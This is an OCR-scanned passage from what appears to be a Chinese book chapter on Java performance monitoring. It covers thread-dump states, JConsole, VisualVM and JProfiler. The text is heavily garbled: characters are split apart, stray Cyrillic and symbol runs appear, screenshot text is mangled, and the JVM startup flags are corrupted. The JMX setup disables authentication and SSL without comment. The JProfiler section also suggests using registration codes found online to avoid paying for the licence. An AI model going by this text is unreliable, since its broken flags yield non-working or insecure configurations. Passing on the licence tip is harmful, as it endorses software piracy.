种 等 待 状态 ， 而 一 旦 有 数据 准备 好 读 之 后 ， 线 程 就 重新 激活 ， 读 取 并 处 理 数 据 。 在 Java 引 入 NIO 之 前 ， 对 于 每 个 网 络 连接 ， 都 有 一 个 对 应 的 线程 来 处 理 网 络 的 读 写 操作 ， 即 使 没有 可 读 写 的 数据 ， 线 程 也 阻 
塞 在 读 写 操作 上 ， 这 样 有 可 能 造成 资源 浪费 ， 而 且 给 操作 系统 的 线程 调度 也 带 来 压力 。 在 NIO 中 采用 了 新 的 机 制 ， 编 写 的 服务 器 程序 的 性 能 和 可 扩展 性 都 得 到 提高 。 


如 果 发 现 有 大 量 的 线程 都 处 在 Wait on condition， 然 后 从 线程 stack 查 看 到 线程 信息 正 等 待 网 络 读 写 ， 那 么 这 可 能 是 网 络 瓶 颈 的 征兆 。 因 为 网 络 阻塞 导致 线程 无 法 执行 。 一 种 情况 是 网 络 非常 忙 ， 几 乎 
消耗 了 所 有 的 带宽 ， 仍 然 有 大 量 数据 等 待 网 络 读 写 ; 另 一 种 情况 也 可 能 是 网 络 空 凋 ， 但 由 于 路 由 等 问题 ， 导 致 包 无 法 正常 到 达 。 所 以 要 结合 系统 的 一 些 性 能 观察 工具 来 综合 分 析 。 例 如 ，netstat 统 计 单位 时 
间 发 送 包 的 数目 ， 如 果 很 明显 超过 了 所 在 网 络 带 宽 的 限制 ， 而 且 运 行 在 Solaris 10 平 台 上 ， 就 可 以 用 dtrace 工 具 查 看 系统 调用 的 情况 。 如 果 观 察 到 read/write 的 系统 调用 次 数 或 者 运行 时 间 遥 遥 领 先 ， 就 说 明 
是 由 于 网 络 带 宽 所 限 导 致 的 网 络 瓶 矣 。 


另外 一 种 出 现 Wait on condition 的 常见 情况 是 该 线程 在 sleep， 等 待 sleep 的 时 间 到 时 ， 被 唤醒 。 


3) Waitingfor monitor entry 和 in Object.wait () : 在 多 线程 的 Java 程 序 中 ， 实 现 线程 之 间 的 同步 。monitor 是 Java 中 用 于 实现 线程 之 间 的 互 斥 与 协作 的 主要 手段 ， 它 可 以 看 成 是 对 象 或 者 Class 的 
锁 。 每 一 个 对 象 都 有 也 仅 有 一 个 monitor。 


每 个 monitor 在 某 个 时 刻 ， 只 能 被 一 个 线程 拥有 ， 该 线程 就 是 “Active Thread" ， 而 其 他 线程 都 是 “Waiting Thread”， 分 别 在 两 个 队列 “Entry Set" #0 "Wait Set” 中 等 候 。 在 “Entry Set” 中 等 
待 的 线程 状态 是 “Waiting for monitorentry" , Œ "Wait Set” 中 等 待 的 线程 状态 则 是 “in Object.wait () " , 


6.jconsole 


JConsole 是 JDK 自 带 的 图 形 化 的 性 能 监控 工具 ，JConsole 基 于 JMX (Java Management Extensions, B[JavatziHi Ee) ， 监 控 内 容 主要 体现 在 : 栈 内 存 、 线 程 、CPU、 类 、VM 信 息 这 几 个 方面 ， 而 
管理 主要 是 对 JMX MBean (managed beans， 被 管理 的 beans， 是 一 系列 资源 ， 包 含 对 象 、 接 口 、 设 备 等 ) 的 管理 ， 不 仅 能 查看 bean 的 属性 和 方法 信息 ， 还 能 在 运行 时 修改 属性 或 调用 方法 ，JConsole 
可 以 说 是 前 面 介绍 的 所 有 功能 性 JDK 工 具 的 一 个 可 视 化 版 本 ， 几 平实 现 了 JVM Manage APl 中 提供 的 所 有 功能 。 


由 于 JConsole 监 控 需要 使 用 JMX 代 理 技术 ， 因 此 在 启动 应 用 程序 的 参数 中 添加 以 下 几 个 参数 来 配置 JjMX 端 口 。 


-Dcom.sun.management.jmxremote 
-DJava.rmi.server.hostname-192.168.1.80 // 当 前 机 器 的 I 
-Dcom.sun.management.jmxremote.port-8089 //JMX 端 口号 
-Dcom.sun.management.jmxremote.ssl-false 
-Dcom.sun.management.jmxremote.authenticate-false 


rg 


配置 完 以 上 人 参数， 启动 JConsole 后 ， 就 可 以 对 Java 进 行 响应 的 监控 了 。 通 过 JDKVbin 目 录 下 的 “jconsole.exe” 局 动 JConsole。 双 击 其 中 一 个 进程 即 可 开始 监控 ， 也 可 以 使 用 “远程 进程 ”功能 来 连接 
远程 服务 器 ， 对 远程 虚拟 机 进行 监控 。 下 面 用 dk1.7.0_03 版 本 自 带 的 JConsole 进 行 说 明 ， 图 9-48 为 JConsole 的 启动 界面 。 
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图 9-48 JConsle 启 动 界面 


如 果 Java 应 用 是 在 本 地 ， 那 么 直接 在 “本 地 进程 ”中 选择 对 应 的 PID 就 能 监控 ， 如 果 是 远程 的 话 ， 就 需要 如 图 9-48 中 一 样 ， 选 择 “远程 进程 ”并 配置 远程 服务 器 的 I|P 以 及 端口 号 (参考 上 文 配置 JMX 端 
口 ) ， 然 后 单 击 “ 连 接 ” 按 钮 就 能 监控 Java 服 务 了 ， 单 击 “ 连 接 ” 成 功 连接 上 服务 后 如 图 9-49 所 示 。 
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图 9-49 ”JConsle 监 控 Java 应 用 


JConsole 界 面 由 以 下 6 个 选项 卡 组 成 。 
“概述 ”选项 卡 : 显示 JVM 和 被 监视 值 的 汇总 信息 。 

-KE ARE: 相当 于 可 视 化 的 jstat 命 令 ， 用 于 监视 收集 器 管理 的 虚拟 机 内 存 (Java 扒 和 永久 代 ) 的 变化 趋势 。 

. “线程 ”选项 卡 : 相当 于 可 视 化 的 jstack 命 令 ， 遇 到 线程 停顿 的 时 候 ， 可 以 对 线程 监控 进行 分 析 ， 也 可 以 进行 死 锁 检 测 。 
“类 ”选项 卡 : 检测 加 载 和 印 载 的 类 ， 需 要 综合 其 他 工具 进行 分 析 。 
“概要 ”选项 卡 : 关于 JVM 的 明细 信息 。 


“MBeans” 选 项 卡 : 相当 于 Java 程 序 的 MBean 操 作 。 


关注 得 最 多 的 是 内 存 视图 和 线程 视图 ， 下 面 对 这 两 个 视图 进行 介绍 。 内 存 视图 能 监控 到 JVM 内 存 中 Eden 区 、 存 活 区 、 持 久 代 、 老 年 代 的 大 小 以 及 使 用 情况 。 图 9-50 对 堆 内 存 进行 监控 。 


图 9-51 显 示 了 JVM 的 内 存 使 用 和 分 配 情况 ，JVM 被 分 配 为 heap 和 non-heap 内 存 以 及 指定 的 (specific) 内 存 池 。 内 存 池 种 类 与 具体 使 用 的 JVM 有 关 ， 以 HotSpot JVM 为 例 ， 内 存 池 包 含 以 下 几 个 区 
域 。 
1) PS Eden Space (heap) : 伊甸园 区 ， 大 多 数 对 象 初始 化 时 在 Eden Space 池 分 配 内 存 ， 即 是 存在 于 此 池 中 。 
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图 9-50 Jconsle 2 dz P3 AAEM 
2) PS Survivor Space (heap) : 存活 区 ， 此 池 包 含 原来 在 eden space 中 ， 但 是 已 经 经 历 过 垃圾 回收 (YGC) 而 仍然 存在 的 对 象 。 
3) PS Old Gen (heap) : 老年 代 ， 在 surviver space 中 已 经 存在 了 一 段 时 间 之 后 的 对 象 会 移动 到 这 个 池 中 。 
4) Code Cache (non-heap) : HotSpot JVM 也 包含 一 个 “代码 缓存 ”， 是 编译 和 存储 本 地 代码 所 占用 的 内 存 。 
5) PS Perm Gen (non-heap) : 持久 代 ， 主 要 存放 类 信息 、 常 量 池 、 静 态 字 段 、 方 法 等 。 
JVM 有 heap 和 non-heap 内 存 ， 这 两 种 内 存 都 是 在 JVM 启 动 时 建立 。 
Heap memory 是 运行 时 数据 区 域 ， 用 于 JVM 为 所 有 对 象 实例 和 队列 分 配 的 内 存 。Heap 可 能 为 固定 值 或 者 可 变 值 。 二 圾 收集 器 是 一 个 用 于 回收 对 象 占 用 的 heap 内 人 存 的 自动 化 内 存 管 理 系统 。 


Non-heap memory 包含 一 个 在 所 有 线程 共享 的 方法 区 域 (method area) 、 内 部 进程 或 JVM 优 化 所 需 的 内 存 。 它 存储 了 每 一 个 类 的 结构 ， 如 运行 常量 地、 字段 和 方法 数据 、 构 造 函 数 和 方法 的 代码 。 
方法 区 域 逻辑 上 是 heap 的 一 部 分 ， 但 是 依赖 于 实现 ，JVM 可 能 不 进行 垃圾 收集 或 压缩 。 像 heap 一 样 ， 方 法 区 域 可 能 为 固定 或 可 变 大 小 。 方 法 区 域 需要 的 内 存 没有 必要 是 连续 的 。 


除了 方法 区 域 之 外 ， 一 个 VM 实现 的 内 部 进程 或 优化 所 需 的 内 存 也 属于 non-heap 内 存 。 比 如 J 川 [编译 器 为 了 提高 性 能 而 用 于 存储 本 地 机 器 码 所 需 的 内 存 。 

图 9-50 右 下 和 角 的 图 表 显示 了 内 存 池 在 heap 和 non-heap 消 耗 的 内 存量 。 当 内 存 使 用 超出 内 存 使 用 阅 值 时 ， 柱 状 图 会 变 红 。 可 以 通过 设置 MemoryMXBean 的 一 个 属性 来 调整 内 存 占用 立 值 。 
详细 资料 区 域 显示 了 几 种 当前 内 存 度量 ， 具 体 说 明 如 下 。 

: 已 用 : 当前 使 用 的 内 存 总 量 。 使 用 的 内 存 总 量 是 指 所 有 对 象 占 用 的 内 存 ， 包 括 可 达 和 不 可 达 的 对 象 。 


` 已 提交 : JVM 可 使 用 的 内 存量 。committed 内 存 数量 可 能 随时 间 变 化 而 变化 。Java 虚 拟 机 可 能 将 某 些 内 存 释 放 ， 还 给 操作 系统 ，committed 内 存 可 能 比 启动 时 初始 分 配 的 内 存量 要 小 。committed 内 存 总 是 
大 于 等 于 used 内 存 。 


ЖКА: 内 存 管理 可 用 的 最 大 内 存 数量 。 此 值 可 能 改变 或 者 为 未 定义 。 如 果 JVM 试 图 增加 使 用 内 存 (used memory). ， 超 出 了 committed 内 存 ， 那 么 即使 使 用 内 存 小 于 或 者 等 于 最 大 内 存 (如 系统 虚拟 内 
存 较 低 ) ， 内 存 分 配 仍 可 能 失败 。 


СС й]: 分 为 PS MarkSweep (老年 代 ) 和 PS Scavenge (年 轻 代 ) 收集 时 间 ， 重 点 需要 关注 的 是 PS MarkSweep 收 集 的 次 数 不 要 太 频 繁 ，PS Scavenge 单 次 收集 的 时 间 不 要 太 长 。 


除了 监控 功能 外 ， 图 9-50 右 上 和 角 有 一 个 “执行 G6C” 按 钮 ， 它 可 以 强制 对 应 用 执行 一 次 Full GC， 这 样 可 以 在 执行 Full GC 后 查看 是 否 有 推 内 存 没有 被 释放 ， 是 否 有 内 存 泄露 的 迹象 ， 从 而 快速 定位 内 存 泄 


露 问题 。 


线程 也 是 在 性 能 测试 中 需要 经 常 查 看 的 地 方 ，JConsle 线 程 监控 如 图 9-51 所 示 。 
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图 9-51 JConsle 监 控 线 程 


在 图 9-51 上 半 部 分 能 实时 看 到 Java 应 用 程序 的 线程 数量 ， 包 括 活动 线程 数 、 峰 值 线程 数 ， 图 的 下 半 部 分 列 出 所 有 活动 线程 ， 单 击 线程 名 称 ， 可 立即 查看 线程 的 栈 信息 。 在 过 滤 (filter) 对 话 框 输入 字符 
串 ， 线 程 列表 将 显示 包含 所 输入 字符 串 的 线程 。 在 线程 列表 上 单 击 线程 名 ， 可 以 在 右 侧 显示 线程 信息 ， 包 括 线程 名 、 状 态 和 调用 栈 。 还 可 以 在 线程 监控 中 使 用 “检测 死 锁 ”功能 对 当前 Java 程 序 的 死 锁 进行 


检测 。 
7.VisualVM 


VisualVM 能 监控 应 用 程序 的 JVM 内 存 使 用 情况 、 线 程 使 用 情况 、CPU 使 用 情况 等 ， 还 提供 了 分 析 功 能 ， 能 够 对 CPU 热点 以 及 内 人 存 进 行 分 析 ， 从 而 帮助 定位 问题 原因 。VisualVM 有 一 个 很 大 的 优点 : 不 
需要 被 监视 的 程序 基于 特殊 的 Agent 运 行 ， 因 此 它 对 应 用 程序 的 实际 性 能 影响 很 小 ， 这 使 得 它 可 以 直接 应 用 在 生产 环境 中 。 


(1) VisualVM 以 及 插件 的 安装 


VisualVM 项 目的 官方 网 站 目前 提供 英文 版 本 和 多 语言 版 本 下 载 。 多 语言 版 本 主要 支持 英语 、 日 语 以 及 中 文 3 种 语言 。 如 果 下 载 安装 多 语言 版 本 的 VisualVM ， 安 装 程序 会 依据 操作 系统 的 当前 语言 环境 安 
装 相 应 VisualVM 的 语言 版 本 。VisualVM 最 新 版 本 主要 支持 的 操作 系统 包括 : Microsoft Windows (7、Vista、XP、Server) 、Linux、Sun Solaris、Mac OS X、HP-UX 11i。JDK1.6 update 之 后 的 版 本 
都 会 自 带 VisualVM ， 当 然 也 可 以 在 VisualVM 的 官方 网 站 上 下 载 。 


VisualVM 还 支持 一 些 插件 ，VisualVM 的 插件 安装 非常 简单 ， 既 可 以 通过 离线 下 载 插件 文件 .nbm， 然 后 在 Plugin (插件 ) 对 话 框 的 DownLoaded (已 下 载 ) 页 面 下 ， 添 加 已 经 下 载 的 插件 ， 也 可 以 在 
在 工具 一 插件 页 面 下 ， 在 线 安 装 插件 。 图 9-52 为 小 白 已 经 安装 的 插件 。 


可 用 插件 


: VisualVM-Classfish 
Application Бак 


Java ME Profiler Snapshot V... Java ME SIE 也 本 : 14 
VisualVW-Extenszions Platform 8: Java Visual WM БЕ: 
BIrace Workbench Profiling 
VisualVW-Security Security 
VisualVW-]JCozsole Iools 
VisualVW-MBesns Tools 
VisualVN-BufferMoritaor Tools 
Visual GC Iools 
Ihreads Inspector Iools 
KillÀpplication Tools 
Irscer-5wing Probes Iracer 


Tür TH s 


А sanple plugin giving ar overview of advanced monitoring capabilities of 
VisualVM. Enhances monitoring of GlassFish application server by adding 
specialized overview, new tab for monitoring HIIP Service and the ability 
to visually select and monitor any of the deployed web applications 


Tracer- IWM Probes Tracer 
Irscer-tollections Probes Iracer 
Irscer-Monitar Probes Iracer 
Irscer-]wmstst Probes Iracer 
ПОТ Syntax Support UI 


eocooooOoOOOQOoOOOOOOE 


[за] 
[7] 
回 
回 
lal 
m 
[7] 
加 
国 
回 
[Г] 
[Г] 
[Г] 
[al 
E 
国 
m 


E-CNE:- NE: 


XE | 


图 9-52  VisualVM4&41- 
(2) 启动 VisualVM 并 连接 应 用 程序 


通过 JDK/bin 目 录 下 的 “jvisualvm” 启 动 VisualVM ，VisualVM 支 持 多 种 方式 连接 应 用 程序 ， 最 常用 的 是 本 地 连接 方式 。 只 要 VisualVM 启 动 所 在 的 机 器 下 有 正在 运行 的 Java 应 用 程序 ， 在 VisualVM 
的 “本 地 ”节点 下 就 会 出 现 这 些 应 用 。 双 击 应 用 程序 或 者 单 击 鼠 标 右键 打开 ， 就 能 监控 这 些 应 用 程序 的 运行 。 由 于 VisualVM 本 身 也 是 Java 应 用 程序 ， 所 以 自身 也 在 列表 内 。 


除了 本 地 连接 以 外 ，VisualVM 还 支持 远程 JMX 连 接 ， 配 置 方式 与 jconsle 的 远程 连接 相同 ， 在 Java 应 用 程序 中 配置 JMX 端 口 即 可 。 


-Dcom.sun.management.jmxremote 
-DJava.rmi.server.hostname-192.168.1.80 // 当 前 机 器 的 IP 地 址 
-Dcom. sun .management .jmxremote .Port=8089 
-Dcom.sun.management.jmxremote.ssl-false 
-Dcom.sun.management.jmxremote.authenticate-false 


然后 在 VisualVM 远 程 节点 下 ， 填 写 远程 计算 机 的 IP 地 址 、 端 口号 ， 添 加 成 功 后 后 ， 在 远程 节点 下 出 现 一 个 带 远程 机 器 IP 地 址 的 名 称 ， 双 击 该 |P 地 址 或 者 单 击 鼠 标 右键 ， 选 择 “添加 JMX 连 接 ”， 都 可 以 
实现 对 远程 机 器 Java 应 用 程序 的 监控 。 


(3) 监控 应 用 程序 概况 


通过 VisualVM 可 以 查看 应 用 程序 的 基本 情况 ， 如 进程 ID、JVM 人 参数 配置 、 系 统 属性 等 ， 单 击 Tab 页 面 上 的 监控 页 面 ， 切 换 到 一 个 与 JConsle 监 控 概 况 类 似 的 页 面 ， 该 视图 可 以 监控 应 用 程序 的 CPU、 
堆 、 永 久 区 、 类 加 载 和 线程 数 的 总 体 情况 ， 如 图 9-53 所 示 。 通 过 页 面 上 方 的 “执行 垃圾 回收 ”和 “ 堆 Dump” 按 钮 可 以 手工 执行 Full GC 和 生成 堆 快 照 ， dump 下 来 的 堆 内 存 会 自动 保存 在 该 机 器 节点 下 ， 方 
便 测 试 人 员 分 析 应 用 程序 堆 内 存 ， 后 面 会 单独 介绍 。 


gk Ugg 
正常 运行 时 间 : 27 5 25 Po 


| 511 


CPU ЕЧЕИ: 1-1% T Жай: 0. Jh: 58, 462, 208 -T-x755 OHA: 25.154 965 xTM 
RA: 268, 435, 456 = 


тез 
Elcru HAER Eiga 
ао o x 


жЕ: р 3k: & 543 Нее А: 1. 968 
=: БЕЗЕТ Ж 22 ЖЕНЕШЕ o 


тїрї ФО TZL Fx5:28 TEM тел 


B АДЕТ 国共 享 的 已 加 六 半数 ШЕН ЕЕ: 加 守护 线程 


图 9-53 ”VisualVM 监 控 概 况 


(4) 线程 dump 和 分 析 


VisualVM 的 线程 页 面 可 以 提供 非常 详细 的 线程 监控 信息 ， 如 图 9-54 所 示 。VisualVM 的 线程 标签 提供 了 3 种 视图 ， 默 认 以 时 间 线 方式 展现 。 另 外 两 种 视图 分 别 是 表 视 图 和 详细 信息 视图 。 时 间 线 视图 上 
方 的 工具 栏 提供 了 缩小 、 放 大 和 自 适应 3 个 按钮 ， 以 及 一 个 下 拉 列 表 框 ， 可 以 选择 将 所 有 线程 、 活 动 线程 和 完成 的 线程 显示 在 视图 中 。 在 详细 信息 视图 中 不 但 可 以 查看 所 有 线程 、 活 动 线程 和 结束 线程 的 详细 
数据 ， 还 可 以 查看 某 个 线程 的 详细 情况 。 
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从 图 9-54 中 看 出 线程 有 如 下 4 种 状态 。 
1) 运行 (Running) : 说 明 该 线程 正在 执行 代码 ， 没 有 问题 。 


2) 休眠 (Sleeping) : 调用 了 Thread.sleep 后 的 状态 ， 说 明 线 程 正 停 在 某 个 Thread.sleep 处 。 


3) $ff (Wait) : 手动 调用 了 wait 方 法 ,或 者 某 些 IO 操 作 ， 在 阻塞 中 等 待 数 据 。 如 果 有 大 量 的 wait， 就 需要 关注 是 否 有 IO 阻 塞 或 者 数据 库 等 待 情况 。 
4) 监视 (Monitor) : 它 表示 线程 想 执行 一 段 synchronized 中 的 代码 ， 但 是 发 现 已 经 有 其 他 线程 正在 执行 ， 自 己 被 block 了 ， 于 是 只 能 无 奈 地 等 待 。 如 果 这 种 状态 多 ， 说 明 程序 需要 好 好 优化 、。 


如 果 需 要 一 些 统计 数据 ， 如 某 个 线程 总 共 运 行 了 多 少时 间 ，“ 运 行 ”状态 有 多 久 (或 百分比 ) ， 休 眠 、 等 待 、 监 视 有 多 久 ， 则 需要 用 到 表 视 图 ， 在 VisualVM 的 线程 视图 上 ， 可 以 直接 切换 到 线程 的 表 视 
图 ， 如 图 9-55 所 示 。 


从 图 中 可 以 看 出 ， 当 前 系统 性 能 十 分 低下 ， 几 乎 所 有 的 线程 状态 都 是 监视 状态 ， 说 明 应 用 程序 线程 的 所 有 时 间 都 用 在 了 synchronized 的 阻塞 上 了 ， 只 有 百 分 之 零 点 几 的 时 间 用 在 运行 中 ， 需 要 结合 线程 
栈 信 息 分 析 为 什么 造成 了 线程 阻塞 ， 从 而 定位 性 能 瓶颈 的 原因 。 
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图 9-55 ”VisualVM 线 程 监视 分 析 
(5) 性 能 分 析 一 一 抽样 器 


在 抽样 器 (Profiler) 页 签 中 ， 提 供 了 程序 运行 期 间 方法 级 的 CPU 执行 时 间 分 析 及 内 存 分 析 ， 进 行 profiling 肯 定 会 对 程序 运行 性 能 有 比较 大 的 影响 ， 所 以 一 般 不 在 生产 环境 中 使 用 这 项 功能 。 选 
BE "CPU" 或“ 内存 ”抽样 ，VisualVM 会 记录 这 段 时 间 中 应 用 程序 执行 过 的 方法 。CPU 分 析 会 统计 每 个 方法 执行 的 次 数 、 执 行 耗 时 。 内 存 分 析 则 会 统计 每 个 方法 关联 对 象 数 及 这 些 对 象 占用 的 空间 。 需 要 注 
意 的 是 ， 目 前 VisualVM 的 CPU 抽样 可 以 对 本 地 以 及 远程 连接 的 程序 进行 抽样 分 析 ， 但 是 对 于 内 存 的 抽样 ， 只 能 是 对 本 地 的 应 用 程序 进行 抽样 分 析 ， 而 无 法 对 远程 连接 程序 进行 抽样 分 析 。 


单 击 抽样 器 中 的 “CPU ”按钮 ，VisualVM 开 始 抽样 ， 如 图 9-56 所 示 。 在 图 中 可 以 看 出 程序 一 直 在 运行 Synlncerinc () 方法 ， 它 占用 了 所 有 方法 执行 总 时 间 的 99.8%。 说 明 这 个 方法 消耗 CPU 最 多 ， 需 
要 对 该 方法 进行 优化 ， 以 解决 性 能 问题 。 
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图 9-56 Visual VM CPU 抽样 分 析 
VisualVM 也 可 以 对 应 用 程序 内 存 进 行 抽样 ， 如 图 9-57 所 示 。 从 图 中 可 以 看 出 当前 堆 内 存 中 类 的 占用 情况 以 及 调用 情况 ， 从 而 帮助 分 析 应 用 程序 内 存 存 在 的 问题 。 
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图 9-57 VisualVM 内 存 抽样 分 析 


在 抽样 之 前 ，VisualVM 的 CPU 抽样 和 内 存 抽样 都 可 以 进行 设置 。 选 择 “抽样 器 ”列表 中 的 “设置 ”标签 ， 可 以 设置 抽样 的 包 以 及 抽样 频率 ， 从 而 方便 对 抽样 结果 进行 控制 ， 建 议 抽 样 频率 不 要 太 快 ， 以 
减少 对 应 用 程度 带 来 的 性 能 损耗 。 同 时 ， 通 过 VisualVM 对 CPU 和 内 存 进 行 抽样 的 结果 也 能 保存 为 快照 ， 进 行 离线 分 析 。 


(6) 快照 


VisualVM 可 以 保存 某 一 个 时 刻 应 用 程序 的 瞬时 运行 情况 ， 包 括 程序 的 堆 内 存 信息 、 线 程 栈 信息 ， 如 图 9-58 所 示 。 
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图 9-58 VisualVM 内 存 快 昭 
在 图 9-58 的 内 存 快照 分 析 功 能 中 ， 提 供 4 个 基本 功能 页 : 摘要 、 类 、 实 例 和 OQL 控 制 台 ， 下 面 分 别 进行 介绍 。 
1) 摘要 页 面 展 示 了 当前 内 存 的 整体 信息 ， 包 括 内 存 的 大 小 、 类 的 总 数 、 实 例 总 数 、 系 统 属性 ， 以 及 堆 转 储 上 的 线程 信息 。 


2) 在 类 页 面 中 ， 以 类 为 索引 ， 显 示 了 每 个 类 的 实际 占用 空间 、 实 例 数 。 该 视图 中 能 显示 出 类 的 调用 关系 ， 并 清晰 地 提示 class 是 数组 类 型 、 对 象 类 型 、 基 本 类 型 、 静 态 字 段 ， 还 是 循环 。 在 这 个 页 面 
中 ， 还 可 以 比较 两 个 不 同时 段 的 内 存 快照 ， 这 样 可 以 方便 开发 人 员 、 性 能 测试 人 员 快 速 分 析 同 一 应 用 程序 在 运行 的 不 同时 刻 ， 内 存 数据 的 变化 ， 从 而 定位 内 存 港 圳 的 原因 。 


3) 在 实例 页 面 中 显示 指定 类 的 所 有 实例 。 使 用 者 可 以 查看 当前 内 存 中 ， 内 存 数据 的 实际 内 容 。 图 9-59 显 示 了 一 个 String 对 象 实例 页 面 的 部 分 内 容 ， 从 图 中 可 以 看 出 ， 所 有 的 String 对 象 都 被 一 一 罗列 出 
来 ， 并 且 可 以 看 到 所 有 对 象 的 具体 数据 。 在 右 下 角 的 引用 页 面 中 ， 可 以 查看 系统 中 引用 这 个 实例 的 对 象 ， 从 而 展示 出 对 象 间 的 引用 关系 ， 方 便 从 最 根本 原因 上 定位 内 存 泄 露 的 原因 。 
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图 9-59 ”VisualVM 内 存 快照 实例 页 面 
(7) 查看 MBeans 


MBeans 可 以 将 程序 中 的 某 些 信息 暴露 给 外 部 。 有 一 些 库 在 设计 时 ， 就 考虑 到 了 这 一 点 。 如 果 我 们 不 满足 于 前 面 那些 基础 信息 ， 可 以 在 这 里 看 看 。 由 于 当前 程序 没有 使 用 到 提供 MBeans 信 息 的 库 ， 所 以 


看 不 到 多 少 有 用 的 信息 。 如 果 使 用 了 某 些 数据 库 连 接 池 (提供 了 MBeans 功 能 的 ) ， 可 以 在 这 里 看 到 池 里 的 一 些 信息 ， 还 可 以 通过 Operations 标 签 页 ， 对 程序 数据 进行 修改 。 


(8) 扩展 插件 


Visual VM 提 供 了 许多 有 用 的 插件 ， 关 于 这 些 插件 的 安装 在 介绍 Visual VM 的 时 候 就 已 经 说 明 。 比 如 可 以 通过 插件 “Visual GC” 页 ， 查 看 非常 详细 的 垃圾 回收 情况 。 从 图 9-60 中 可 以 看 出 JVM 各 个 代 垃 


圾 回收 的 活动 情况 ， 非 常 详细 直观 ， 这 个 工具 可 以 对 JVM 调 优 提供 有 效 的 帮助 。 
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更 多 详细 数据 的 监控 ， 可 以 通过 插件 Tracer 页 提供 ， 在 Tracer 页 中 程序 中 遍布 控 针 ， 可 以 实时 了 解 各 处 的 运行 情况 。 先 选中 感 兴趣 的 内 容 ， 然 后 单 击 start 按 钮 ， 即 可 进行 监控 


8.JProfiler 


JProfiler 是 一 个 商业 授权 的 Java 齐 析 工 具 ， 由 6 技术 有 限 公司 针对 Java EE 和 Java SE 应 用 程序 开发 。 它 把 CPU、 执 行 线程 和 内 存 的 剖析 组 合 在 一 个 强大 的 应 用 中 。JProfiler 可 提供 许多 1DE 整 合 和 应 用 服 
务 器 整合 用 途 。JProfiler 是 一 个 独立 的 应 用 程序 ， 但 其 提供 Eclipse 和 intelliJ 等 1DE 的 插件 。 


JProfiler 可 以 对 Java 应 用 的 内 存 使 用 情况 进行 监控 和 剖析 ， 可 以 帮助 性 能 测试 人 员 快 速 直观 地 发 现 内 存 泄露 问题 以 及 原因 所 在 ; 可 以 对 Java 应 用 程序 的 CPU 热点 进行 监控 ， 方 便 用 户 查 看 占用 CPU 时 间 
片 较 多 的 方法 ; 可 以 对 Java 线 程 进行 监控 和 抓 取 ， 方 便 性 能 测试 人 员 定位 线程 死 锁 问 题 并 对 线程 栈 进行 分 析 。 


(1) JProfiler 下 载 以 及 安装 


JProfiler 下 载 地 址 为 http://www.ej-technologies.com/download/jprofiler/files， 选 择 对 应 的 版 本 (最 新 版 本 为 8) 、 操 作 系 统 即 可 ， 在 下 载 时 注意 JProfiler 监 控 分 为 客户 端 和 服务 端 ， 所 以 需要 同时 
下 载 客 户 端 程序 以 及 服务 端 程 序 。 


下 载 完成 后 ， 在 Windows 的 客户 端 默 认 安 装 即 可 ， 因 为 JProfiler 是 收费 程序 ， 所 以 想 长 期 使 用 需要 注册 ， 网 上 有 很 多 注册 码 ， 找 一 个 使 用 即 可 。 


装 好 客户 端 后 ， 需 要 在 被 测 的 Linux 系 统 下 安装 服务 端 应 用 程序 。 将 下 载 的 服务 端 安装 程序 下 载 到 Linux 下 进行 解压 即 可 。 小 白 这 里 下 载 的 是 tar.gz 版 本 ， 只 需要 用 tar 命 令 解压 即 可 。 在 网 上 有 很 多 人 说 
在 解压 后 ， 需 要 在 Linux 下 配置 JProfiler 的 环境 变量 ， 这 里 小 白 告 诉 大 家 不 需要 配置 环境 变量 ， 只 需要 解压 即 可 。 


(2) JProfiler 远 程 连接 Linux 应 用 程序 


JProfiler 的 远程 连接 也 非常 简单 ， 打 开 JProfiler 的 客户 端 程序 ， 创 建 远程 会 话 如 图 9-61 所 示 。 
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弹出 配置 界面 后 ， 依 次 选择 监控 的 系统 (是 远程 监控 ,还 是 本 地 监控 ) 、 操 作 系 统 位 数 、JDK 的 版 本 、 启 动 方 式 ， 输 入 远程 监控 机 器 的 IP 地 址 、 服 务 端 上 JProfiler 的 安装 路 径 (如 /opt/jprofiler7) ， 配 


置 监听 的 端口 号 后 会 出 现 如 图 9-62 所 示 的 一 段 配置 项 。 
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Finished Integration type: [Generic application] 
Selected ЛМ: Oracle 1.6.0 (hotspot) 
Startup mode: Wait for s connection from the JProfiler GUI 


(1) Please insert 


into the start command of your remote application right after the java command. 
À remote session named Remote application on 10.14.137.1BB will be created that 


connects to a running instance of the remote application that is started with the 
modified start command. 


| Finish f Cancel 
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将 图 9-62 中 的 这 段 配 置 内 容 添 加 到 被 监测 的 应 用 程序 局 动 脚本 中 即 可 。 比 如 因为 本 项 目 是 用 Tomcat 作 为 Web 容 器 启动 的 ， 所 以 在 Tomcat 配 置 添加 如 下 内 容 即 可 。 


CATALINA OPTS-"$Java OPTS-agentpath: /opt/jprofiler6/bin/linux-x64/libjprofilerti.so-port-8849"; 


配置 完成 后 重新 启动 Tomcat， 打 开 JProfiler 远 程 监控 就 能 连接 到 被 监测 系统 ， 如 图 9-63 所 示 。 
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图 9-63 JProfiler 监 控 Java 应 用 程序 
(3) JProfiler 快 速 使 用 
连接 完成 之 后 ， 就 开始 真正 使 用 JProfiler 了 ，JProfiler 分 为 内 存 视图 、 堆 视图 、CPU 视 图 、 线 程 视图 、VM 视 图 等 几 大 视图 ， 下 面 跟 随 小 白 一 起 简单 学 习 。 


1) 内 存 视图 。 


JProfiler 的 内 存 视图 可 以 提供 动态 的 内 存 使 用 状况 ， 并 能 显示 关于 内 存 、 分 配 状 况 信息 的 视图 。 所 有 的 视图 都 有 几 个 聚集 层 ， 并 且 可 以 显示 现存 的 对 象 和 作为 垃圾 回收 的 对 象 。JProfiler 的 内 存 视 图 有 如 
下 几 个 标签 。 

: All objects (所 有 对 象 ) : 显示 类 或 在 状况 统计 和 尺码 信息 堆 上 所 有 对 象 的 包 ， 可 以 标记 当前 值 并 显示 差异 值 。 

. Recorded objects. (记录 对 象 ) : 显示 类 或 所 有 已 记录 对 象 的 包 ， 可 以 标记 出 当前 值 并 显示 差异 值 。 

· Allocation call tree (分 配 访问 树 ) : 显示 方法 、 类 、 包 或 对 已 选择 类 有 带 注释 的 分 配 ]2EE 组 件 信 息 。 

- Allocation hot spots (分 配 热点 ) : 显示 一 个 列表 ， 包 括 方法 、 类 、 包 或 分 配 已 选 类 的 J2EE 组 件 。 可 以 标注 当前 值 并 显示 差异 值 ， 对 于 每 个 热点 ， 都 可 以 显示 其 跟踪 记录 树 。 

: Class Tracker: 对 所 关心 的 类 、 包 、 数 组 对 象 进行 单独 跟踪 观察 。 

Qiu 

